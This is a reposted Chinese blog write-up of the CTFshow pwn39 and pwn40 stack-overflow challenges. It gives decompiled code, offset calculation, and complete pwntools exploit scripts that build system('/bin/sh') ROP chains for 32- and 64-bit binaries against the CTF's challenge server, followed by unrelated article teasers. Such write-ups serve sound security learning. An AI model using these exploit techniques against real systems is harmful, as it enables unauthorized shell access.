CTFshow-pwn入门-栈溢出pwn39-pwn40

news2024/11/18 7:41:47

pwn39

在这里插入图片描述
首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件依然是只开启了栈不可执行,canary和pie都没开。并且该文件是32位的,那我们就托到ida32中反编译一下吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

我们可以看到ctfshow函数中buf数组长度为14,但是需要都进去0x32长度的数据,显然一定会发生栈溢出,但是这次文件没有给我们后门函数,但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串,我们就可以利用这两个,来构造出system(“/bin/sh”)来获取shell,与后门函数的效果是一样的。

编写exp

获得溢出长度

使用gdb中cyclic获得冗余字符,在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址,再使用cyclic -l命令即可获得溢出长度。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到,溢出长度为22。

拿到system函数的地址

我们可以使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483a0

拿到/bin/sh的地址

/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段,可以直接获得它的地址。
在这里插入图片描述
/bin/sh的地址为:0x08048750

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28273")

offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(1)来顶替4个字节 
# 32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn40

在这里插入图片描述
首先还是将pwn文件下载下来,托到虚拟机里查看文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
可以看到该文件是64位的,并且只开启了栈不可执行,基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(asc_400828);
  puts(asc_4008A0);
  puts(asc_400920);
  puts(asc_4009B0);
  puts(asc_400A40);
  puts(asc_400AC8);
  puts(asc_400B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&64bit");
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这道题基本和上道32位的题目是一模一样的,思路也一样,唯一不同的是我们64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多,寄存器有限会继续使用栈传参。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

那就再简单重复一下这道题的思路吧,通过ctfshow函数计算处buf溢出长度,然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址,然后将/bin/sh参数的地址传入rdi寄存器中即可。

编写exp

计算溢出长度

在这里插入图片描述
注意到,buf在栈中的位置是在rbp上面Ah=10长度处,加上rbp本身的所占栈单元的长度8(64位为8,32位为4),即:0xa + 0x8

拿到system函数的地址

还是使用objdump来查看文件的plt表来找system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400520

拿到/bin/sh的地址

直接在ida64中点击/bin/sh即可跳转至data段,从而拿到其地址
在这里插入图片描述
/bin/sh的地址为:0x0000000000400808

拿到pop rdi;ret的地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注:ret的作用为:pop eip/rip;
在这里插入图片描述
pop rdi;ret 的地址为:0x00000000004007e3
ret的地址为:0x00000000004004fe

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28103")

offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3

payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1338510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

k8s的二进制部署: 源码包部署-----node节点部署

服务器IP软件包k8s--master0120.0.0.61kube-aplserver,kube-controer-manager,kube-scheduler,etcdk8s--master0220.0.0.62kube-controer-manager,kube-schedulernode节点0120.0.0.62kubelet,kube-proxy,et…

Duboo-入门到学废【上篇】

目录 1🥞.什么是duboo 2🌭.架构图 3.🍿快速入门 4.🧇浅浅理解 1.什么是duboo🤶🤶🤶 Dubbo是一个由阿里巴巴开发的基于Java的开源RPC框架。它提供了高性能、透明化的远程方法调用&#xff0…

模型的线性化与离散化方法

模型的线性化与离散化方法 一、线性化——泰勒展开 对于非线性系统: 将一个非线性系统转换为线性系统,泰勒展开公式: 由于我们 线性化 的需求,只取前两项即可: 二、离散化——欧拉法

python13

前言:相信看到这篇文章的小伙伴都或多或少有一些编程基础,懂得一些linux的基本命令了吧,本篇文章将带领大家服务器如何部署一个使用django框架开发的一个网站进行云服务器端的部署。 文章使用到的的工具 Python:一种编程语言&…

Git 分布式版本控制系统(序章1)

第一章 Git 分布式版本控制系统 为什么学Git? 某些企业面试需要掌握Git,同时,也方便管理自己的Qt项目。 一、Git 客户端下载(Windows) 下载地址 https://gitee.com/all-about-git#git-%E5%A4%A7%E5%85%A8 二、Git 的特点 分支…

网站服务器被入侵,如何排查,该如何预防入侵呢?

在我们日常使用服务器的过程中,当公司的网站服务器被黑客入侵时,导致整个网站以及业务系统瘫痪,将会给企业带来无法估量的损失。作为服务器的维护人员应当在第一时间做好安全响应,对入侵问题做到及时处理,以最快的时间…

DRF从入门到精通五(路由组件、认证组件)

文章目录 一、路由组件REST framework提供了两个routeraction装饰器 二、认证组件 一、路由组件 对于视图集ViewSetMixin,我们除了可以自己手动指明请求方式与动作action之间的对应关系外,还可以使用Routers来帮助我们快速实现路由信息。 REST framework…

EasyExcel实现动态表头(注解实现)

要实现上述动态头,按每日统计,每月统计,每年统计。而时间是一直变化,所以我们需要表头也一直动态生成。 首先,我们需要定义所需要实体类 public class CountDayData {ExcelProperty(value "业务员姓名")p…

electron 菜单栏打开指定url页面菜单实现方法

electron 菜单栏打开指定url页面菜单 可以是本地URL也可以是远程的URL 自动判断跳转 以下代码可以在主进程main.js里面也可以是在独立的模块文件里面 const { BrowserWindow } require(electron);//定义窗口加载URL export const winURL process.env.NODE_ENV development …

NativePHP:使用 PHP 构建桌面应用程序

PHP 在我心中占据着特殊的位置。它是我的第一份工作,我记得我在家里花了无数个小时做一些小项目。我非常想用 PHP 创建桌面应用程序,但我从来没有做到过。 现在,感谢 NativePHP,我可以了。 NativePHP 追随 Slack、Discord 和 Tre…

Ubuntu 20.04使用Livox Mid-360

参考文章: Ubuntu 20.04使用Livox mid 360 测试 FAST_LIO-CSDN博客 一:Livox mid 360驱动安装与测试 前言: Livox mid360需要使用Livox-SDK2,而非Livox-SDK,以及对应的livox_ros_driver2 。并需要修改FAST_LIO中部…

开集目标检测-标签提示目标检测大模型(吊打YOLO系列-自动化检测标注)

背景 大多数现有的对象检测模型都经过训练来识别一组有限的预先确定的类别。将新类添加到可识别对象列表中需要收集和标记新数据,并从头开始重新训练模型,这是一个耗时且昂贵的过程。该大模型的目标是开发一个强大的系统来检测由人类语言输入指定的任意…

【目标跟踪】解决多目标跟踪遮挡问题

文章目录 前言一、判定遮挡目标二、扩展目标框三、结论 前言 目标跟踪在发生遮挡时,极其容易发生Id Switch。网上许多算法忽视跟踪遮挡问题,同时网上相关资料也很少。博主为了解决跟踪遮挡,翻阅大量论文。分享其中一篇论文。论文链接:https:…

部署YUM软件仓库

借助于YUM软件仓库.可以完成安装、卸载、自动升级rpm软件包等任务,能够自动查找并解 决rpm包之间的依赖关系,而无须管理员逐个.手工地去安装每个rpm包,使管理员在维护大量Linux 服务器时更加轻松自如。.特别是在拥有大量Linux主机的本地网络中…

PYTHON入门级游戏开发:宇宙飞船游戏两万字详析

手讲解超详细python入门游戏项目‘打外星飞船’手把(一) 由于内容比较多,这里会分为五篇文章来讲解,从页面的创建、飞船控制、射击、外星人创建、射杀外星人五片来展开。 做一个窗口和设置响应用户 import sysimport pygame&qu…

Android 13 - Media框架(28)- ACodec(五)

前面几节我们了解了OMXNodeInstance是如何处理setPortMode、allocateBuffer、useBuffer的,这一节我们再回到ACodec,来看看 ACodec start 的其他部分。 我们首先来回顾一下,ACodec start 的状态切换以及处理的事务,我们用一张不太准…

23、Qt使用fftw3.3.5

一、下载 FFTW Installation on Windows 二、使用fftw 新建一个Qt项目,把“fftw3.h”和“libfftw3-3.dll”两个文件拷贝到项目目录下 在.pro中添加如下代码 LIBS -L$$PWD/ -llibfftw3-3 右击项目名称,选择“添加现有文件”,选择“fftw3.h…

【Echarts】使用echarts和echarts-wordcloud生成词云图

一、下载echarts和echarts-wordcloud 地址:https://download.csdn.net/download/qq_25285531/88663006 可直接下载放在项目中使用 二、词云数据 词云数据是对象的格式,可以从后端获取,这里以下面数据为例 $list3 array(array(name >…

《当初恋撞上人生》

《当初恋撞上人生》是很久以前起早的一个作品,然而断断续续、伤伤感感一直没写下去,最近打开看了一下,总算概述还完整,暂且贴出来也好。不想哪天一改,失了原本初心与色彩。 简章如下: 《初恋撞上人生》简述…

视频批量转码:一键转换多个视频mp4格式到FLV视频

在数字媒体时代,视频格式的多样性给处理工作带来了诸多不便。满足不同的播放需求,经常要视频从一种格式转换为另一种格式。其中,将mp4格式转换为FLV格式的需求很常见。现在一起来看下云炫AI智剪如何高效的将视频批量转码方法,一键…